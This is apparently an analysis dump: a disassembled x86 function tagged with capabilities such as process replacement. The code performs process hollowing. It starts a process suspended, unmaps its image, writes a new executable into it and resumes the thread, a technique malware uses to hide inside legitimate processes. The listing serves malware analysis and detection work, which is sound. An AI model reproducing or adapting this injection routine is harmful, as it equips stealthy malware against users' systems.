Function at 0xc83e44
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd68
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 4], edx
mov ebx, eax
mov edi, dword [ebp + 8]
xor eax, eax
mov dword [esi], eax
mov byte [ebp - 5], 0
xor edx, edx
push ebp
push 0xc840ed
push dword fs:[edx]
mov dword fs:[edx], esp
lea eax, [ebp - 0x1cc]
xor ecx, ecx
mov edx, 0x44
call fcn.00c81240
lea eax, [ebp - 0x188]
xor ecx, ecx
mov edx, 0x10
call fcn.00c81240
lea eax, [ebp - 0x298]
xor ecx, ecx
mov edx, 0xcc
call fcn.00c81240
mov dword [ebp - 0x1cc], 0x44
mov dword [ebp - 0x298], 0x10007
lea eax, [ebp - 0x58]
mov ecx, 0x40
mov edx, ebx
call fcn.00c83e34
mov edx, ebx
add edx, dword [ebp - 0x1c]
lea eax, [ebp - 0x150]
mov ecx, 0xf8
call fcn.00c83e34
test edi, edi
je 0xc83ef8
lea eax, [ebp - 0x188]
mov ecx, 0x10
mov edx, edi
call fcn.00c82648
mov al, 1
jmp 0xc83f23
lea eax, [ebp - 0x188]
push eax
lea eax, [ebp - 0x1cc]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 4]
push eax
push 0
call sub.KERNEL32.DLL_CreateProcessW
cmp eax, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0xc840e3
mov eax, dword [ebp - 0x188]
mov dword [esi], eax
push 0xc8
call sub.KERNEL32.DLL_Sleep
lea eax, [ebp - 0x298]
push eax
mov eax, dword [ebp - 0x184]
push eax
call sub.KERNEL32.DLL_GetThreadContext
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x1f4]
add eax, 8
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_ReadProcessMemory
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.ntdll.dll_NtUnmapViewOfSection
push 4
push 0x3000
mov eax, dword [ebp - 0x100]
push eax
mov eax, dword [ebp - 0x11c]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_VirtualAllocEx
mov dword [ebp - 0xc], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0xfc]
push eax
push ebx
mov eax, dword [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
mov eax, dword [ebp - 0x1c]
add eax, 0xf8
mov dword [ebp - 0x18], eax
movzx esi, word [ebp - 0x14a]
dec esi
test esi, esi
jl 0xc8407d
inc esi
xor edi, edi
mov eax, ebx
cdq
push edx
push eax
mov eax, dword [ebp - 0x18]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push edx
push eax
mov eax, edi
shl eax, 3
lea eax, [eax + eax*4]
cdq
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
mov edx, eax
lea eax, [ebp - 0x178]
mov ecx, 0x28
call fcn.00c83e34
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x168]
push eax
mov eax, ebx
cdq
push edx
push eax
mov eax, dword [ebp - 0x164]
xor edx, edx
add eax, dword [esp]
adc edx, dword [esp + 4]
add esp, 8
push eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x16c]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
lea eax, [ebp - 0x14]
push eax
push 0x40
mov eax, dword [ebp - 0x170]
push eax
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x16c]
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_VirtualProtectEx
inc edi
dec esi
jne 0xc83fde
lea eax, [ebp - 0x10]
push eax
push 4
lea eax, [ebp - 0xc]
push eax
mov eax, dword [ebp - 0x1f4]
add eax, 8
push eax
mov eax, dword [ebp - 0x188]
push eax
call sub.KERNEL32.DLL_WriteProcessMemory
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x128]
mov dword [ebp - 0x1e8], eax
cmp byte [ebp - 5], 1
jne 0xc840e3
lea eax, [ebp - 0x298]
push eax
mov eax, dword [ebp - 0x184]
push eax
call sub.KERNEL32.DLL_SetThreadContext
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 5], al
mov eax, dword [ebp - 0x184]
push eax
call sub.KERNEL32.DLL_ResumeThread
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0xc84113
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4